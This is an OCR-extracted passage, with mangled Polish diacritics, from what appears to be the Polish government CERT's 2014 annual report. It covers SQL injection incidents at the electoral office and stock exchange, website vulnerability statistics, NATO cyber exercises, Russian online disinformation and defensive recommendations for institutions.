Ocenie poddawany byt szereg mechanizmoéw i uwarunkowan, ktére mogtyby pozwolic¢
jednostce na skuteczne odparcie potencjalnego ataku DDoS. Wskaza¢ nalezy, ze wiele
instytucji zadanie utrzymania swoich stron internetowych zlecito podmiotom zewnetrznym.
W zwigzku z czym, w razie ewentualnego ataku DDoS na strone instytucji, nie jest istotny jej
wewnetrzny stan zabezpieczen, ale stan zabezpieczen oferowanych przez ustugodawce
w ramach zawartej umowy. Niezwykle wazne jest, w przypadku zlecania przedmiotowej
ustugi na zewnatrz, zarowno sprawdzenie czy podmiot dysponuje odpowiednimi zasobami
technicznymi dajgcymi gwarancje odparcia ataku, jak i wtasciwe sformutowanie przedmiotu
umowy. Niestety, dostrzegalne nadal jest kierowanie sie przy wyborze oferty, gtéwnie
kryterium najnizszej ceny kosztem zabezpiecze m.in. uzycia mechanizméw automatycznego
(oraz na zadanie) przetaczania — w zaleznosci od poziomu wysycenia fgcza oraz obcigzenia
serwera — formy wyswietlania strony z dynamicznej na statyczng, czy tez brak wprowadzania
odpowiedzialnosci firmy hostujgcej za zapewnienie ciggtosci dziatania powierzonego serwisu.
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30,0%
20,0%
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Bardzo Wysoki Wysoki Sredni Niski

Wykres 24. Zdolnos¢ odparcia ataku DDoS na witryne WWW na podstawie udzielonych odpowiedzi przez
instytucje na pytania i zalecenia Zespotu CERT.GOV.PL

2.7. Krajowe Biuro Wyborcze

Zespot CERT.GOV.PL podejmowat dziatania w ramach swoich kompetencji, w odniesieniu do
wydarzed majgcych miejsce w trakcie samorzadowych wyboréw w 2014 roku. KBW
poinformowane zostato o publicznie dostepnych w sieci Internet: serwerze testowym
systemu KBW, pozwalajgcym na uzyskanie wiedzy na temat struktury bazy danych systemu.
Dodatkowo, podejmowane byty czynnosci wyjasniajgce, w odniesieniu do informacji
o wycieku danych z systemoéw teleinformatycznych wykorzystywanych przez KBW oraz
upublicznieniu ich w sieci Internet tj. adresy e-mail, loginy, skréty kryptograficzne haset,
imiona i nazwiska.

Atak na serwery Krajowego Biura Wyborczego byt atakiem typu SQL Injection. Polega on na
specjalnym spreparowaniu zapytania kierowanego do serwera, tak aby wykonat on
nieautoryzowany fragment kodu SQL, co w efekcie moze prowadzi¢ do wycieku informacji
z bazy danych. Dziatanie takie jest mozliwe w przypadku braku odpowiedniej walidacji
wprowadzanych/przesytanych przez uzytkownikédw parametréw do serwera, na ktorym
umiejscowiona jest strona WWW. Nalezy przy tym doda¢, ze w trakcie ataku wykonano
kilkaset specjalnie spreparowanych zapytan przez adresy IP, ktére w wiekszosci nalezaty do
sieci anonimizujgcej TOR. Atakujacy podejmowali wielokrotne, nieskuteczne préby
przetamania zabezpieczen w celu uzyskania nieautoryzowanego dostepu do zasobdw.

Zastosowanie sie do rekomendacji Zespotu CERT.GOV.PL pozwolitoby na znaczne
zmniejszenie skutkdéw opisywanego ataku.
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2.8. Gietda Papierow Wartosciowych w Warszawie

Poza opisanym wyzej w pkt. 2.6 atakiem DDoS, Gietda Papierdw Wartosciowych musiata sie
zmierzy¢ 23 pazdziernika 2014 roku z podmiang strony www.gpwcatalyst.pl oraz
www.newconnect.pl. Na stronie www.gpwcatalyst.pl umieszczony zostat wizerunek
dzihadystéw oraz napis w jezyku angielskim ,,TO BE CONTINUED...”. W sieci Internet zostaty
opublikowane wykradzione podczas wtamania do systemu GPW archiwalne dane uzywane
do logowania do Szkolnej Internetowej Gry Gietdowej i symulatora gietdowego GPW Trader.
W sumie upublicznione zostato facznie ok. 52 MB danych. W tym konkretnym przypadku
Zespo6t CERT.GOV.PL nawigzat wspodtprace zarowno z GPW i CERT Polska jak i Komisjg
Nadzoru Finansowego oraz Ministerstwem Finansow. Zlecone zostato pilne podjecie krokéw
majacych na celu zmiane upublicznionych danych we wszystkich posiadanych ustugach.
Rowniez w tym przypadku wykorzystana zostata luka SQL-Injection a do przeprowadzenia
ataku wykorzystana zostata sie¢ anonimizujgca TOR.
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3. TESTY BEZPIECZENSTWA WITRYN INTERNETOWYCH
ADMINISTRACIJI PUBLICZNE)J

Prowadzone przez Zespdt CERT.GOV.PL badania stanu zabezpieczen stron internetowych
nalezgcych do instytucji administracji publicznej majg na celu okreslenie poziomu
bezpieczenstwa aplikacji WWW instytucji publicznych, a takze usuniecie wykrytych
nieprawidtowosci. W 2014 roku zidentyfikowane zostaty 446 btedy w ramach przebadanych,
przez Zespoét CERT.GOV.PL 34 witryn internetowych nalezgcych do 12 instytucji
panstwowych.

W trakcie badania witryn stwierdzono, ze ok 18% z nich zawierato przynajmniej jedna
podatnos¢, ktdrg nalezato uznaé za krytyczng dla bezpieczerstwa serwera i publikowanych
na stronie tresci. Na 14 z 34 przebadanych stron zabezpieczenia byty skuteczne i nie
stwierdzono w nich zadnych powaznych podatnosci.

350 ~

294
300 ~

18%
250 ~

200 ~

150 H~

100 H 82
58

50 ~ -
12
0_

W Bardzo wysoki B Wysoki = Niski ~ Informacyjny Bardzo wysoki  Wysoki Niski  Informacyjny

66%

Wykres 25. Statystyka wykrytych podatnosci w witrynach WWW nalezacych do administracji publicznych,
wedtug poziomu zagrozenia
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Podatnosci typu Cross Site Scripting 30,2%
Nieszyfrowany parametr _VIEWSTATE
Nieaktualna wersja oprogramowania
Podatnosci typu SQL Injection
Wstrzykniecie nagtéwka HOST
Podatnos¢ w renegocjacji TLS1/SSL3
Ominiecie filirow Web-Application Firewall..
Ujawnienie nazw uzytkownikdéw oraz haset
Podatnosc typu file inclusion
Directory Traversal

Brak szyfrowania haset w bazie danych

Wykres 26. Procentowy rozktad najpowazniejszych btedéw w witrynach WWW, nalezgcych do administracji
publicznej

Nagtowek informujgcy o wersji serwera 25,8%
Wiadomos¢ o btedzie w aplikacii

Meta dane w opublikowanych dokumentach
Brak flag HttpOnly i Secure dla ciasteczek
Potencjalnie wrazliwe pliki

Potencjalnie wrazliwe katalogi

Brak ochrony przeciw atakom typu Clickjacking

Nieszyfrowany parametr _VIEWSTATE

Podatno$¢ typu btedny odsytacz

Podatnosci typu Cross Site Scripting

Wykres 27. Procentowy rozktad 10 najczesciej wystepujacych btedow w witrynach WWW, nalezacych do
administracji publicznej

Wsréd podatnosci o wysokim lub bardzo wysokim poziomie zagrozenia niezmiennie
przewazaja btedy typu SQL Injection oraz Cross Site Scripting®’. Istotnym problemem jest
rowniez  wykorzystywanie w  serwerach  produkcyjnych  nieaktualnych  wersji
oprogramowania. Na jednej z badanych stron wykorzystanie podatnosci SQL Injection
skutkowato bezposrednim, zdalnym i nieautoryzowanym dostepem do haset uzytkownikéw
przechowywanych w bazie danych w postaci niezaszyfrowanej. W nielicznych przypadkach
rowniez przy wykorzystaniu podatnosci SQL Injection uzytkownik byt w stanie wykonaé

' 0d 2014 roku nastapito przekwalifikowanie podatnosé¢ Cross Site Scripting (XSS) wedtug poziomu zagrozenia
z poziomu bardzo wysoki na wysoki.
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wilasne zapytanie w bazie danych skutkujgce np. dodaniem, modyfikacjg lub usunieciem
rekorddw w ramach posiadanych przez uzytkownika bazy danych uprawnien. Skutkiem
udanego ataku byt petny dostep do bazy danych na uprawnieniach administratora,
posiadajgcego nieograniczone mozliwosci w zakresie zarzgdzania bazg danych. W efekcie
atakujgcy moégt w zdalny sposéb przetwarzaé zgromadzone w bazie informacje,
w szczegdlnosci odczytywac je, modyfikowad i usuwacd.

Stan bezpieczenstwa przebadanych stron WWW

Bardzo dobry 14
Sredni 14
Niski 6

Tabela 3. Stan bezpieczennstwa stron WWW, nalezacych do administracji publiczne;j

419
320
294
340
440
391 458
346 244
82
2010 2011 2012 2013 2014
93 strony 95 stron 61 stron 45 stron 34 strony

Informacyjny Niski ™ Wysoki ™ Bardzowysoki

Wykres 28. Liczbowy rozktad podatnosci przeskanowanych stron z podziatem na istotnos¢ btedéw
w poréwnaniu z poprzednimi latami
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Instytucje, ktdérych witryny zostaty przebadane, zostaty poinformowane o wynikach,
wykrytych podatnosciach istniejgcych w ich systemach i poinstruowane jak podatnosci te
usungé. Widoczny na powyzszym wykresie spadek ilosci przebadanych witryn zwigzany jest
z kilkoma czynnikami jak m.in. wydtuzeniem procesu przeprowadzania miarodajnych testow
w zwigzku ze znacznym rozbudowaniem struktury serwiséw, czy wprowadzeniem przez firmy
prywatne do oferty skierowanej dla administracji rzgdowej przedmiotowe] ustugi, a takze

zaangazowania Zespotu w pilniejsze zadania.
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4. WSPOLPRACA KRAJOWA | MIEDZYNARODOWA

4.1. Udziat w pracach nad dokumentami strategicznymi

Istotnymi pracami podejmowanymi w zakresie wspotpracy krajowej i miedzynarodowej byty
dziatania ukierunkowane na podnoszenie poziomu kompetencji oséb odpowiedzialnych za
cyberbezpieczenstwo. Przedstawiciele Zespotu CERT.GOV.PL z ramienia Agencji
Bezpieczenstwa Wewnetrznego brali takze udziat, w ramach Strategicznego Forum
Bezpieczenstwa, w pracach nad przygotowywanym przez Biuro Bezpieczeistwa Narodowego
dokumentem Doktryna  Cyberbezpieczeristwa Rzeczypospolitej Polskiej, a takze
w posiedzeniach Zespotu Zadaniowego do spraw bezpieczeristwa cyberprzestrzeni
Rzeczypospolitej Polskiej, powotanego 13 czerwca 2014 roku decyzjg Przewodniczgcego
Komitetu Rady Ministrow do spraw Cyfryzacji.

W zwigzku z toczagca sie dyskusjg nad ewentualnymi ramami i formg wspodtpracy operacyjnej
krajowych zespotdw reagowania na incydenty komputerowe, ktéra ma byé regulowana
w projekcie dyrektywy Parlamentu Europejskiego i Rady w sprawie srodkow majgcych na
celu zapewnienie wspodlnego wysokiego poziomu bezpieczeristwa sieci i informacji w obrebie
Unii (dyrektywa NIS), przedstawiciele Zespotu CERT.GOV.PL wzieli udziat w zorganizowanym
przez Prezydencje Wtoskg w lipcu 2014 roku spotkaniu przedstawicieli CERTOw z UE. Dyskus;ji
poddano rézne kwestie na potrzeby projektu dyrektywy NIS m.in jak.: definicja znaczgcego
incydentu transgranicznego, wskazniki, ktére mogtyby zosta¢ wykorzystane do okreslenia
potencjalnych ryzyk takich zagrozen i podatnosci, ale rowniez mozliwe formy wspotpracy
CERTOw na poziomie UE. W zwigzku z tym, ze Dyrektywa NIS ustanowi¢ ma nowe ramy
prawne dla bezpieczenstwa Internetu oraz sieci i systemow teleinformatycznych w Unii
Europejskiej, w tym kwestie m.in. CERTOw narodowych i wtasciwych organdw, czynny udziat
w dyskusji nad proponowanymi rozwigzaniami jest niezwykle wazny biorgc pod uwage
przysztg implementacje zapiséw Dyrektywy NIS do porzgdku krajowego.

4.2. Cwiczenia Locked Shields

Zwyciestwem dla narodowego zespotu (¢wiczgcego, w sktad ktérego wchodzili
przedstawiciele Zespotu CERT.GOV.PL, Ministerstwa Obrony Narodowej, Stuzby
Kontrwywiadu Wojskowego, Wojskowej Akademii Technicznej oraz CERT Polska zakoniczyty
sie ¢wiczenia Locked Shields. Sukces byt tym wiekszy, ze uczestniczyto prawie 300
przedstawicieli z 17  krajdow  reprezentujgcych  najlepsze  krajowe  zespoty
cyberbezpieczeistwa. Scenariusz ¢wiczen zaktadat dziatania zespotéw obronnych
okreslonych jako Blue Teams w fikcyjnym kraju, ktérego infrastruktura teleinformatyczna
padfa ofiarg nasilajgcych sie atakow cybernetycznych dokonywanych przez umownego
napastnika tj. Red Teams. Locked Shields sg ¢wiczeniami w obszarze bezpieczenstwa
sieciowego organizowanymi przez Centrum Doskonalenia Cyberobrony NATO w Talinie
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(NATO Cooperative Cyber Defence Centre of Excellence) we wspodtpracy z Estonig.

4.3. Cwiczenia Cyber Coalition 2014

Zespot CERT.GOV.PL uczestniczyt takze w siddmej edycji éwiczerht NATO Cyber Coalition 2014,
realizowanych w ramach podnoszenia zdolnosci do cyberobrony krajéw cztonkowskich oraz
partnerskich NATO, ktére odbyty sie w listopadzie 2014 roku. Po raz pierwszy,
obserwatorami ¢wiczen byli przedstawiciele przemystu i srodowisk akademickich. Celem
¢wiczen jest testowanie zdolnosci krajéow cztonkowskich NATO i partneréw do dziatan
w zakresie cyberobrony w obszarze decyzyjnym, operacyjnym i technicznym. Przygotowane
scenariusze  zaktadaty wystgpienie ukierunkowanych atakéw na infrastrukture
teleinformatyczng ¢wiczgcych krajow. Ocenie podlegata koordynacja reagowania na
incydenty, prowadzenie analizy ich wystgpienia w aspekcie technicznym, podejmowanie
decyzji sytuacyjnych a takze koniecznos¢ wymiany informacji pomiedzy uczestniczgcymi
krajami. Cze$¢ scenariuszy byta rozgrywana w srodowisku wirtualnym pozwalajagcym na
symulowanie incydentéw w duzej skali oraz wykorzystanie dedykowanych narzedzi
analitycznych.

Udziat w ¢wiczeniach pozwolit Zespotowi CERT.GOV.PL na sprawdzenie mozliwosci dziatania
w zakresie reagowania na incydenty we wspodtpracy z innymi zespotami reagowania krajow
NATO oraz na wzmocnienie kompetencji w zakresie prowadzenia analizy powfamaniowej
wykrywanych incydentow.

4.4. Szkolenia krajowe

Analogicznie jak w poprzednich latach, réwniez w 2014 roku odbyta sie kolejna edycja
bezptatnego szkolenia dla administratoréw systemoéw teleinformatycznych administracji
panstwowej. Szkolenia oferowane sg na podstawie wspotpracy Agencji Bezpieczenstwa
Wewnetrznego z firmg Microsoft w zakresie bezpieczenstwa teleinformatycznego w ramach
programu SCP (Security Cooperation Program).

Szkolenie dotyczyto kwestii zakoriczenia wsparcia dla Windows Server 2003. Przedstawione
zostaty takze bezpieczenstwo rodziny Windows Server, narzedzia oceny zabezpieczen
w Windows Server 2008 R2, praktyczne aspekty ochrony srodowisk serwerowych Windows
oraz rekomendowane zasady bezpieczeristwa w srodowisku domeny Windows.

Realizujgc zapisy Polityki Ochrony Cyberprzestrzeni RP Zespot CERT.GOV.PL, we wspotpracy
z Ministerstwem Administracji i Cyfryzacji (MAIC), przeprowadzit szkolenie w zakresie
podnoszenia bezpieczenstwa jawnych systemdw teleinformatycznych, w ktéorym do udziatu
zaproszone zostaly wydelegowane przez instytucje administracji rzgdowej osoby
odpowiedzialne za reagowanie na incydenty komputerowe. Szkolenie obejmowato
praktyczne kwestie zwigzane z funkcjg koordynacyjng Zespotu CERT.GOV.PL tj. formy
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i zasady obustronnej wspotpracy pomiedzy administratorami a Zespotem CERT.GOV.PL,

omowienie zalecen CERT.GOV.PL w zakresie m.in. zapewnienia bezpieczenstwa
teleinformatycznego instytucji i podnoszenia zdolnosci do odpierania atakow DDoS na
witryny WWW, katalogu zagrozen oraz omdwienie najczesciej spotykanych podatnosci
i zagrozen na podstawie przyktadowych incydentow.

Zespdt CERT.GOV.PL uczestniczyt rowniez w zorganizowanym przez Ministerstwo
Administracji i Cyfryzacji, szkoleniu oséb, ktédrym zgodnie z zapisami Polityki Ochrony
Cyberprzestrzeni RP zostaty przypisane zadania petnomocnikdw ds. bezpieczenstwa
cyberprzestrzeni. Komponent dotyczgcy bezpieczenstwa w cyberprzestrzeni obecny byt tez
w szkoleniach z zakresu profilaktyki kontrwywiadowczej realizowanych przez ABW.

Wyzej wymienione szkolenia, poza przekazaniem uczestnikom praktycznych informacji
dotyczacych  wspdtpracy z  Zespotem  CERT.GOV.PL, wymiang doswiadczen,
rozpowszechnianiem dobrych praktyk, miaty réwniez na celu umozliwienie tworzenia sie
powigzan poziomych pomiedzy uczestnikami Krajowego Systemu Reagowania na Incydenty
Komputerowe w CRP.
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5. NOWE TRENDY — WOJNA INFORMACYJNA

Internet i media spotecznosciowe z jednej strony dajg mozliwos¢ szybkiego
rozpowszechnienia informacji i interakcji: publikujgcych z Internautami. Z drugiej jednak
strony, ze wzgledu na dostepnosc i tatwosc korzystania z powyzszych udogodnien stajg sie
takze narzedziem stosowanym, do wspomagania militarnych i wywiadowczych dziatan
prowadzonych przez panstwa, poprzez uskutecznianie szeroko rozumianej akcji
propagandowo-dezinformacyjnej. W tym celu, wykorzystywane sg osoby, ktére mozna
przypisa¢ do nastepujacych grup:

= osoby dziatajgce na zlecenie, otrzymujgce wynagrodzenie za wykonang prace tj.
zamieszczania wpisdw, komentarzy ukazujgcych odpowiednie osoby i wydarzenia
w pozytywnym Swietle wykorzystujgc do tego, wybrane i przywotane
w odpowiednim kontekscie zmodyfikowane fakty;

= tzw. useful idiots — osoby prowadzgce profile na portalach spotecznosciowych, czy tez
blogi osobiste, na ktérych zamieszczane sg "poZzgdane” teksty, ale takze inne osoby
inspirowane do powielania dezinformacji.

"Pozqgdane" informacje i komentarze pisane sg wedtug podobnego szablonu, zwykle maja
obszerng tresc i sg wysoko oceniane przez innych "uzytkownikéow". Opinie stojgce w opozycji
do tresci zleconych sy Zle oceniane przez kolejnych "dyskutantow". Wpisy w znacznym
stopniu sg kopig poprzednich, zamieszczanych na innych portalach, czesto w niewielkim,
sekundowym odstepie czasu. Z czasem tego typu publikacje zaczety by¢ formutowane
poprawng polszczyzng.

Niestety wiele oséb bezwiednie staje sie uczestnikiem potyczki, ktdra zwykle rozgrywana jest
w ramach komentowania artykutédw znajdujgcych sie na ogdélnodostepnych i popularnych
portalach internetowych. Analiza dyskusji internetowych (rédwniez w sieciach
spotecznosciowych) na przestrzeni ostatniego roku wskazata na gwattowny i nienaturalny
w stosunku do innych tematow wzrost aktywnosci Internautow w tym zakresie, a takze
zjawiska tzw. trollingu w komentowaniu dziatan Federacji Rosyjskiej zwigzanych z aneksja
Krymu i konfliktem na Ukrainie. Tego typu wpisy dostownie "zalewaty" polskie portale
informacyjne w poczatkowej fazie konfliktu. O tym, ze opisywana dziatalno$é prorosyjskich
komentatoréw ma charakter zorganizowany mogg Swiadczyé dwa niezalezne dziennikarskie
Sledztwa — pierwsze z 2013 roku przeprowadzone przez wydawnictwo Novaja Gazieta
i portal MR7.ru oraz z 2014 roku przeprowadzone przez portal Sobaka.ru, dotyczace
dziatalnosci firmy z Sankt Petersburga, zatozonej oficjalnie w celu wprowadzania do sieci
komentarzy dotyczacych produktéw i ustug, a w praktyce zatrudniajgcej znaczng liczbe
pracownikéw (wedtug tych dziennikarzy sezonowo nawet do 600 osdb), ktérych zadaniem
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jest umieszczanie prokremlowskich komentarzy na rosyjskich i zagranicznych stronach

internetowych.

Duze znaczenie w tym kontekscie ma upublicznianie réwnolegle przyktadéw wystepowania
wojny informacyjnej i opisywanie mechanizmoéw w niej wykorzystywanych. Gtéwna role tutaj
odgrywajg niezalezni Internauci. W zwigzku z czym zarekomendowa¢ mozna uzytkownikom
sieci Internet zachowanie ostroznosci i wyczulenie na proby wciggniecia w zaplanowane
i sterowane dyskusje, a nawet ignorowanie tego rodzaju "zaczepek" na forach i portalach
spotecznosciowych, bowiem zdarzy¢ sie moze, ze nie prowadzimy sporu z rzeczywistym
cztowiekiem a specjalnie stworzonym do powyzszych celéw programem komputerowym.
Nawigzywanie interakcji moze by¢ tez wstepnym elementem przygotowania innych
niewtasciwych dziatan w cyberprzestrzeni.

Warto pamietac tez, ze autorom tych dziatan zalezy na jak najwiekszym rozgtosie i czesto sg
oni wynagradzani za ilo$¢ reakcji czy odpowiednio publikowanych tresci, niezaleznie czy
spotka sie to z przyjeciem pozytywnym czy negatywnym. Duzym rozczarowaniem autoréw
tego typu dezinformacji bytoby powszechne ignorowanie ich publikacji.
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6. PODSUMOWANIE ORAZ ZALECENIA | REKOMENDACIJE

Rok 2014 pod wzgledem liczby otrzymanych zgtoszen oraz obstuzonych incydentdéw kolejny
raz okazat sie dla Zespotu CERT.GOV.PL rekordowy. Analogicznie do lat poprzednich
najwyzsze miejsce, w ramach zarejestrowanych incydentdw, zajmujg botnety: w 2013 roku
zarejestrowanych zostato az 4270, a w 2014 roku 4681 przypadkow dotyczgcych
zainfekowanych stacji roboczych bedgcych sktadnikami sieci botnet. Rowniez poréwnujgc
statystki systemu ARAKIS.GOV z rokiem 2013, mozna zaobserwowaé znaczny wzrost
ilosciowy alarmoéw: rok 2013 — 18317, rok 2014 — 28322, z czego najwiekszy wzrost
odnotowany zostat zaréwno wsrdd tych o priorytecie wysokim i Srednim.

Dostrzegalna jest takze wyrazna dynamika wzrostu uporczywych, dtugofalowych atakéw
bazujagcych na zaawansowanych narzedziach. Oznacza to, ze oprécz wzrostu ilosciowego
obserwujemy takze istotny postep jako$ciowy w prowadzonych atakach. Upraszczajgc nie
dos¢, ze atakéw jest wiecej to mogg one aktualnie by¢ takze znacznie grozniejsze. Istotnym
czynnikiem pozostaje tu udziat grup kierowanych i sponsorowanych przez obce panstwa.
Warto podkresli¢, ze Zespdt CERT.GOV.PL odnotowat 119 incydentéw okreslonych jako
inzynieria spoteczna, co w poréwnaniu do roku ubiegtego stanowito wzrost o 350% (w 2013
roku zarejestrowanych zostato 34 incydentéw bedgcych suma kategorii: inZzynieria spoteczna,
kradziez tozsamosci, podszycie sie w tym Phishing).

Biorgc pod uwage powyisze, konieczne jest rozwijanie wspodtpracy instytucji z Zespotem
CERT.GOV.PL. Jako dobrze rokujgce narzedzie mozna przytoczy¢ mechanizm wykorzystany
w reakcji na doniesienia o Energetic Bear, majgcy na celu ograniczenie mozliwosci eskalacji
zagrozenia w sieciach i systemach, ktére moglyby zosta¢ dotkniete cyberkampania.
Obustronna wspodtpraca pozwolita, zardwno na weryfikacje przedstawionych informacji
w odniesieniu do skutecznosci cyberkampanii w Polsce, poszerzenie zebranej wiedzy na
temat jej skali, ale takze pozwolito na ukierunkowanie dalszych dziatarn w stosunku do innych
podmiotéw, ktére mogly sta¢ sie przypadkowymi lub drugorzednymi ofiarami
przedmiotowej kampanii.

Wydarzenia roku ubiegtego potwierdzajg, jak kluczowa jest kwestia bezpieczenstwa
systemow teleinformatycznych instytucji oraz znaczenie uwzgledniania koniecznosci
prowadzenia testéw bezpieczenstwa systemodw i aplikacji przed ich wdrozeniem, potem
okresowo kontynuowane na podstawie ustalonych zasad np. obligatoryjnie przed
wprowadzaniem znacznych zmian do sytemu. Wskaza¢ réwniez nalezy, iz znaczna czesé
instytucji nie posiada polityki bezpieczenstwa przeznaczonej dla jawnych systeméw
teleinformatycznych, procedur na wypadek wystgpienia incydentu Tl, wskazanych jednostek
odpowiedzialnych za reagowanie na incydenty czy bezpieczeAstwo jawnych systemow, brak
jest tez dedykowanego systemu szkolern skierowanego do pracownikéw. Przyktady
incydentéw, do ktdorych doszto w 2014 roku jasno pokazujg, ze wprowadzenie w zycie
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zalecen Zespotu CERT.GOV.PL znacznie ograniczytoby mozliwos¢ ich wystgpienia lub

ewentualne skutki.

6.1. Zalecenia i rekomendacje dla instytucji

W zwigzku z powyzszym, celem osiggniecia minimalnego, akceptowalnego poziomu
bezpieczenstwa systemow teleinformatycznych oraz dziatan majacych na celu ograniczenie
mozliwosci eskalacji ewentualnego wystgpienia zagrozenia/podatnosci na inne jednostki
Zespot CERT.GOV.PL rekomenduje wprowadzenie nizej wymienionych zalecen skierowanych
do instytucji i firm.

Dziatania dorazne:

Dostep do poczty wytgcznie z okreslonych adreséw IP lub z wykorzystaniem rozwigzan VPN:
= ogranicza mozliwos¢ dostepu z niezaufanych komputeréw oraz sieci anonimizujgcych
(TOR);
= zabezpiecza przed nieuprawnionym dostepem w przypadku kradziezy logindw i haset;
= uzycie VPN dodatkowo zabezpiecza przed podstuchem danych.

Dostep do poczty wytgcznie z poziomu dedykowanego programu pocztowego:

= ogranicza mozliwo$¢ wykorzystania btedéw w systemach dostepu do poczty przez
WWW;

= zabezpiecza przed wykorzystaniem bteddw w przegladarkach;

= zabezpiecza przed popularnymi ztosliwymi skryptami wykradajgcymi dane.

Dostep do funkcji administracyjnych systemu pocztowego realizowany wytacznie lokalnie:

= uniemozliwia nieuprawniony dostep z sieci Internet;

= w wysokim stopniu utrudnia przejecie konta o uprawnieniach administracyjnych;

= zabezpiecza przed wykorzystaniem konta administracyjnego nawet przy kradziezy
loginu i hasta.

Dostep do systemu obiegu dokumentdéw na takiej samej zasadzie jak do poczty:

= ogranicza mozliwos¢ dostepu z niezaufanych komputeréw oraz sieci anonimizujgcych
(TOR);

= zabezpiecza przed nieuprawnionym dostepem w przypadku kradziezy logindw i haset;

= uzycie VPN dodatkowo zabezpiecza przed podstuchem danych.

Wprowadzenie na urzadzeniach sieciowych blokowania dostepu do ztosliwych domen
i adreséw:

= ogranicza mozliwos$¢ przypadkowego zainfekowania stacji roboczych;
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= zabezpiecza przed skutecznym dziataniem ztosliwego oprogramowania uzywajgcego
znanych metod komunikacji;
= zabezpiecza przed atakami ze znanych, ztosliwych domen i adresdw.

Wprowadzenie blokady bezposredniego dostepu stacji roboczych do sieci Internet:

= umozliwia zablokowanie bezposredniego potgczenia ztosliwego oprogramowania
z sieci Internet;

= utrudnia ominiecie systemdw zabezpieczen;

= umozliwia kontrole dostepu i rozliczalno$¢ dziatan uzytkownikow.

Usuniecie, w miare mozliwosci, $rodowiska Java ze stacji roboczych (ewentualne
ograniczenie do stacji roboczych gdzie korzystanie z Javy jest niezbedne, z dbatoscia
o aktualizacje). Jezeli jednak, ze wzgledu na funkcjonalnos¢ usuniecie Javy nie jest aktualnie
mozliwe — uwzglednienie tego postulatu przy modernizacji systemow:

= Java jest jednym 1z najbardziej podatnym na ataki, powszechnie uzywanym
oprogramowaniem;

= ogranicza mozliwos$¢ ataku z wykorzystaniem przegladarki internetowej;

= blokuje dziatanie ztosliwego oprogramowania wykorzystujgcego tg platforme.

Prowadzenie analizy nieudanych préb logowania:

= umozliwia wykrycie atakow brutalnych (ang. Brute force);
= umozliwia wykrycie zainfekowanych stacji roboczych.

Wprowadzenie polityki uzytkowania kont o wysokich uprawnieniach:

= umozliwia skuteczne zarzgdzanie kontami administratorow;

= w wysokim stopniu utrudnia przejecia kont na serwerach;

= uniemozliwia ztosliwemu oprogramowaniu przejecie kont administratoréw na
stacjach roboczych.

Przeglad oprogramowania uzytkowanego na stacjach roboczych w sieci jednostki
organizacyjnej:

= umozliwia skuteczne zarzgdzanie oprogramowaniem;

= umozliwia przeprowadzenie audytéw;

= pozwala na stworzenie listy oprogramowania dopuszczonego do stosowania
w jednostce;

= moze chroni¢ przed wprowadzeniem do sieci lokalnej nieautoryzowanego
oprogramowania.

Dokonywanie testéw bezpieczenstwa w trybie okresowym, oraz obowigzkowo przed
wdrozeniem systemu lub wprowadzaniem istotnych zmian do niego.
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Dziatania docelowe

Oddzielenie systemu pocztowego od sieci produkcyjnej w jednostce:

= utrudnia przypadkowe zainfekowanie systeméw produkcyjnych;

= pozwala na wdrozenie systemu filtrujgcego i analizujacego pliki wprowadzane do
sieci produkcyjnej;

= udany atak wykorzystujgcy poczte elektroniczng nie powoduje bezposredniego
zagrozenia dla systemoéw produkcyjnych.

Wdrozenie systemu identyfikacji w oparciu o certyfikaty elektroniczne:

= uniemozliwia przejecie konta poprzez kradziez loginu i hasta;
= pozwala na wdrozenie petnej rozliczalnosci uzytkownikéw;
= pozwala na wdrozenie szyfrowania informacji przez wszystkich uzytkownikow.

Wdrozenie centralnego systemu antywirusowego i antyspamowego:

= ufatwia zarzadzanie bezpieczenstwem stacji roboczych i poczty — zawsze aktualne
szczepionki;

= pozwala na wykrywanie atakéw socjotechnicznych o wiekszej skali;

= umozliwia $ledzenie stanu bezpieczenstwa antywirusowego stacji roboczych.

Wdrozenie centralnego systemu korelacji danych:

= umozliwia centralne zarzgdzanie bezpieczeistwem;
= pozwala na wykrywanie atakdw poprzez analize anomalii;
= umozliwia korelacje zdarzen w réznych systemach teleinformatycznych.

Konfiguracja srodowisk izolowanych (tzw. "sandbox"):

= pozwala naizolacje potencjalnie niebezpiecznych dokumentéw;
= w wysokim stopniu podwyzsza bezpieczenstwo catej sieci w jednostce.

Identyfikacja kluczowych systemoéw w jednostce:

= pozwala na objecie kluczowych systemdéw szczegdlnymi mechanizmami ochrony;
= umozliwia stworzenie szczegdtowych procedur ochrony, skupiajgc specjalng uwage
na kluczowych systemach.

Ustanowienie w jednostce: zespotu bezpieczenstwa teleinformatycznego lub przypisanie
zadan konkretnym pracownikom, wprowadzenie polityki bezpieczenstwa
teleinformatycznego uwzgledniajgcej przejrzysta procedure zgtaszania przez pracownikéw
incydentéw oraz reagowania na nie:

= pozwala na ciggte monitorowanie stanu zabezpieczen sieci i systemdéw w jednostce;
= umozliwia szybka reakcje w przypadku zaistnienia incydentu komputerowego;
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utatwia prowadzenie wewnetrznych szkolen podwyiszajgcych Swiadomosc
uzytkownikdw na temat zagrozen pochodzacych z cyberprzestrzeni i metod im
zapobiegania.

Zalecenie dotyczgce podnoszenia zdolnosci odpierania atakow DDoS

Roéwniez majgc na wzgledzie zadanie podnoszenia zdolnosci jednostek do odpierania

ewentualnych atakéw DDoS na witryny Zespd6t CERT.GOV.PL rekomenduje wprowadzenie

ponizej wymienionych zalecen:
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Przygotowanie planu reakcji, w instytucjach panstwowych, na ataki DDoS. Ujecie
Zespotu CERT.GOV.PL w procedurach reagowania na incydenty komputerowe.
Wyznaczenie o0séb kontaktowych do nawigzywania wspotpracy z Zespotem
CERT.GOV.PL.

Systematyczne dokonywanie przegladu konfiguracji kluczowych urzadzen sieciowych
znajdujgcych sie w infrastrukturze instytucji np. konfiguracja systemu DNS,
pozwalajgca na szybka zmiane rekordu NS w przypadku zaistnienia ataku.

Dokonanie przegladu infrastruktury sieciowej. Zlokalizowanie elementéw
ograniczajgcych transmisje. Wdrozenie regut kontroli ruchu na urzadzeniach
brzegowych oraz systemach bezpieczenstwa. Przygotowanie infrastruktury pod
katem ewentualnego blokowania lub odrzucania niepozadanego ruchu sieciowego
poprzez jego analize i segregacje w oparciu o zadane reguty.

Wdrozenie dedykowanych maszyn z systemami firewall (w tym takie warstwy
aplikacji), IDS/IPS, monitoringu. W przypadku wystgpienia ataku eliminacja ruchu
anonimizowanego (np. TOR, Open-Proxy, Anon-Proxy, Anon-VPN). Wymuszenie
ciggtej aktualizacji mechanizmow bezpieczeristwa.

Wdrozenie algorytmdéw rozktadania ruchu pomiedzy wiele fizycznych lokalizacji
